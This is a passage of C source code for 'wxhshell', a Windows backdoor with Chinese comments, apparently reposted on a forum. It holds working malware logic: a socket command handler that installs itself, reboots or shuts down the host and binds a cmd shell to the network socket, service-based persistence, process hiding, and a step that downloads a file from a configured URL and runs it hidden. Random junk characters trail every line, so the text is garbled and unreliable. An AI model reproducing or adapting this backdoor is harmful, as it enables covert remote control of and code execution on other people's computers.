      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \)g}   
    break; iN L>TVUM  
  }  ? EhIK  
  // 安装 ="g9>  
  case 'i': { KC<K*UHPAH  
    if(Install()) 2XjH1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)f/H&)>8  
    else R&/"?&pfa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =| r% lx  
    break; q{q;X{  
    } h)r=+Q\'(S  
  // 卸载 QT"o"B  
  case 'r': { .36]>8  
    if(Uninstall()) Ob|tA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xCu\jc)2  
    else ~!Rf5QA85  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b|.<rV'BTt  
    break; B-$ps=G+z  
    } }qhND-9#@  
  // 显示 wxhshell 所在路径 OR10IS  
  case 'p': { "@xL9[d  
    char svExeFile[MAX_PATH]; *>lXCx  
    strcpy(svExeFile,"\n\r"); `7 Nk;  
      strcat(svExeFile,ExeFile); !,DA`Yt  
        send(wsh,svExeFile,strlen(svExeFile),0); a7z% )i;Z  
    break; jq/CXYv  
    } JWxSN9.X  
  // 重启 ae+*gkPv8  
  case 'b': { J@q!N;eh|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #\LYo{op/.  
    if(Boot(REBOOT)) KM oDcAjH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # *7ImEN  
    else { y(**F8>?xE  
    closesocket(wsh); xUB{{8B:L  
    ExitThread(0); bg*@N  
    } SXV f&8  
    break; =d JRBl  
    } ~y:?w(GD  
  // 关机 G/_8xmsU  
  case 'd': { #]wBXzu?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VQ2B|v  
    if(Boot(SHUTDOWN)) o~'UWU'#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~2XiKY;W?  
    else { 9@ ^*\s  
    closesocket(wsh); OL@' 1$/A  
    ExitThread(0); 2 3A)^j  
    } S <++eu  
    break; sFRQFX0XoY  
    } uX&Tn1Kg  
  // 获取shell 6#2E {uy;R  
  case 's': { /8>we`4  
    CmdShell(wsh); P#2#i]-  
    closesocket(wsh); Rap_1o9#\  
    ExitThread(0); <'P+2(Oi  
    break; Ke\FzZ]  
  } U]iZ3^8VT  
  // 退出 W=!D[G R  
  case 'x': { 5e c T.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6"o@d8>v  
    CloseIt(wsh); )!l1   
    break; i uoZk5O  
    } KyzdJ^xC"  
  // 离开 9+frxD&pO  
  case 'q': { hh^_Z| 5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l`EKL2n  
    closesocket(wsh); n!?u/[@  
    WSACleanup(); aN"dk-eK  
    exit(1); )m10IyUAY  
    break; 2TX.%%Ze  
        } $&0\BvS  
  } Z+S1e~~  
  } X0]5I0YP  
#Gu(h(Z s  
  // 提示信息 vsbD>`I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -+ Mh( 'K  
} ~"U^N:I"  
  } (=QiXX1r  
G -RE  
  return; t",b.vki\z  
} {pk&dB _Bu  
22v= A6 =  
// shell模块句柄 HVM(LHm=:  
int CmdShell(SOCKET sock) NYF 7Ep; _  
{ 4]ETF+   
STARTUPINFO si; q<Wz9lDMNR  
ZeroMemory(&si,sizeof(si)); 2!6-+]tC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]=sGLd^)E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `g,i `<  
PROCESS_INFORMATION ProcessInfo; GuRJ  
char cmdline[]="cmd"; 7j{63d`2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gib;> nuBK  
  return 0; Q+^"v]V`d  
} h8?E+0  
NGuRyZp69&  
// 自身启动模式 jH]?vpP  
int StartFromService(void) JO|xX<#:  
{ %`^{Hh`  
typedef struct sj%\lq  
{ hXP'NS`iv  
  DWORD ExitStatus; o<i\1<eI  
  DWORD PebBaseAddress; ,V # r  
  DWORD AffinityMask; ey) 8q.5  
  DWORD BasePriority; $ud\CU:r  
  ULONG UniqueProcessId; (p}N cn.  
  ULONG InheritedFromUniqueProcessId; N/eFwv.Er  
}   PROCESS_BASIC_INFORMATION; z%[^-l-  
5^GrG|~  
PROCNTQSIP NtQueryInformationProcess; qM0Df0$?x  
A&qZ:&(OM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !wEz= i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q `^5<  
IM&l%6[).  
  HANDLE             hProcess; 4j-%I7  
  PROCESS_BASIC_INFORMATION pbi; s7na!A[  
oD7^9=#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _[u fH*  
  if(NULL == hInst ) return 0; >$N ?\\#  
2vX!j!_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &s_)|K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); APL #-`XC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TWo.c _l  
@hIHvLpRB  
  if (!NtQueryInformationProcess) return 0; _If:~mIs  
_D~FwF&A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3v:c'R0  
  if(!hProcess) return 0; oh^QW`#(  
5SwQ9#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DeR C_ [  
-!pg1w06  
  CloseHandle(hProcess); 3`DwKv `+  
x_BnWFP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J+0T8 ?A  
if(hProcess==NULL) return 0; $ 2PpG|q  
!6DH6<HC  
HMODULE hMod; !ZTBiC5R  
char procName[255]; 3q:>NB<  
unsigned long cbNeeded; Bq#B+JwX  
>r5s>A[YC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  B/ACU  
E3,Nc`'m9  
  CloseHandle(hProcess); f|-%.,  
uUI@!)@2  
if(strstr(procName,"services")) return 1; // 以服务启动 PvqG5-L~W  
" )/febBS  
  return 0; // 注册表启动 Y8%*S%yO  
} vHxLn/  
bf-V Q7  
// 主模块 i[a1ij=  
int StartWxhshell(LPSTR lpCmdLine) CxJkT2  
{ =@0/.oSD  
  SOCKET wsl; qr_:zXsob_  
BOOL val=TRUE; 'AJlkLqm#>  
  int port=0; .z&,d&E  
  struct sockaddr_in door; <B3$ODGJp  
?9m@ S#@  
  if(wscfg.ws_autoins) Install(); Vrx3%_NkQ  
$WHmG!)*  
port=atoi(lpCmdLine); B0eKj=y;  
qB44;!(  
if(port<=0) port=wscfg.ws_port; 8:)itYE  
eJ tfQ@?  
  WSADATA data; xO2CgqEb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6=i@t tAK  
\S`|7JYW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B_#U|10et  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c6f[^Q%#j  
  door.sin_family = AF_INET; %P tdFz$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i2(lqhaP  
  door.sin_port = htons(port); l!YjDm{E  
T9=55tpG9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m*Q*{M_e  
closesocket(wsl); bf1EMai"  
return 1; "fX9bh^  
} m03]SF(#3  
7z^\}&  
  if(listen(wsl,2) == INVALID_SOCKET) { t~@~XI5  
closesocket(wsl); w*7BiZ{s<  
return 1; 0) T`&u3!  
} Ed=]RR 4R  
  Wxhshell(wsl); E{B=%ZNnm  
  WSACleanup(); |$aTJ9 Iq:  
>,s.!vpK  
return 0; ;^Hg\a  
&$+nuUA  
} dE0 p>4F  
Vv3{jn6%  
// 以NT服务方式启动 +U];  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9 9S-P}xd  
{ `U[s d*C"  
DWORD   status = 0; ?ta(`+"  
  DWORD   specificError = 0xfffffff; ej9|Y5D"S  
X9oxni#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J_ S]jE{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3ZEV*=+T5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; An0Zg'o!G  
  serviceStatus.dwWin32ExitCode     = 0; ?cdjQ@j~h  
  serviceStatus.dwServiceSpecificExitCode = 0; 9XSZD93L  
  serviceStatus.dwCheckPoint       = 0; us TPr  
  serviceStatus.dwWaitHint       = 0; ~Dz`O"X3  
FSn&N2[D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3A>Bnb  
  if (hServiceStatusHandle==0) return; <qpDAz4k  
ap[{`u  
status = GetLastError(); j9G1  _  
  if (status!=NO_ERROR) a2tRmil  
{ :`w'}h7m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mFdj+ &2\  
    serviceStatus.dwCheckPoint       = 0; eH9Ofhsry  
    serviceStatus.dwWaitHint       = 0; /<WK2G  
    serviceStatus.dwWin32ExitCode     = status; b ?-VZA:  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q4vl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FJl_2  
    return; }u aRS9d  
  } H6I]GcZ$  
++)3*+N+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S_ Pa .  
  serviceStatus.dwCheckPoint       = 0; hwR_<'!  
  serviceStatus.dwWaitHint       = 0; p2Fff4nQ   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {j{H@rHuy  
} a.O pxd  
p^uX{!  
// 处理NT服务事件,比如:启动、停止 R<GnPN:c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G$)f5_]7{  
{ >PBP:s1f4>  
switch(fdwControl) eVy>  
{ $x'p+&n\  
case SERVICE_CONTROL_STOP: [hl8LP+~  
  serviceStatus.dwWin32ExitCode = 0; sKK*{+,kh;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =T0;F0@#4  
  serviceStatus.dwCheckPoint   = 0; ] s))O6^f  
  serviceStatus.dwWaitHint     = 0; l,n V*Z  
  { bXw!fYm&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [~[)C]-=  
  } RZg8y+jM  
  return; 5!pof\/a  
case SERVICE_CONTROL_PAUSE: NEb M>1>^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [G/ti&Od^  
  break; XzBnj7E  
case SERVICE_CONTROL_CONTINUE: ,4&?`Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `f~\d.*U  
  break; QxaW x  
case SERVICE_CONTROL_INTERROGATE: g} /efE  
  break; V{ yP/X  
}; /P>t3E2c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZgP~VB0)$  
} 1'G&PX   
n8dJ6"L<"  
// 标准应用程序主函数 >A RZ=x[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +Kz baBK  
{ `,O#r0m  
%gb4(~E+N  
// 获取操作系统版本 } qf=5v  
OsIsNt=GetOsVer(); $yA>j (k4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x&kM /z?/  
+"i|)yUYy}  
  // 从命令行安装 K_" denzT+  
  if(strpbrk(lpCmdLine,"iI")) Install(); TOe=6 Z5h  
/#C}1emK  
  // 下载执行文件 sBLf(Q,  
if(wscfg.ws_downexe) { Mt93YD-2+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :~Z -K\  
  WinExec(wscfg.ws_filenam,SW_HIDE); }CCTz0[D"  
} H>qw@JiO!  
'Cv>V"X: `  
if(!OsIsNt) { Uf ?._&:  
// 如果时win9x,隐藏进程并且设置为注册表启动 &I|\AG"X}  
HideProc(); 'wg>=|Q5  
StartWxhshell(lpCmdLine); "^UJC-  
} FZ0wtS2  
else +p Y*BP+~i  
  if(StartFromService()) |*T3TsP u  
  // 以服务方式启动 ~g|Z6-?4Jj  
  StartServiceCtrlDispatcher(DispatchTable); B,_/'DneQK  
else 1#D&cx6  
  // 普通方式启动 %\|9_=9Wn  
  StartWxhshell(lpCmdLine); Us.")GiHE  
~mR@L`"l  
return 0; t6+c"=P#  
}
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只看该作者 1 发表于: 2006-10-10
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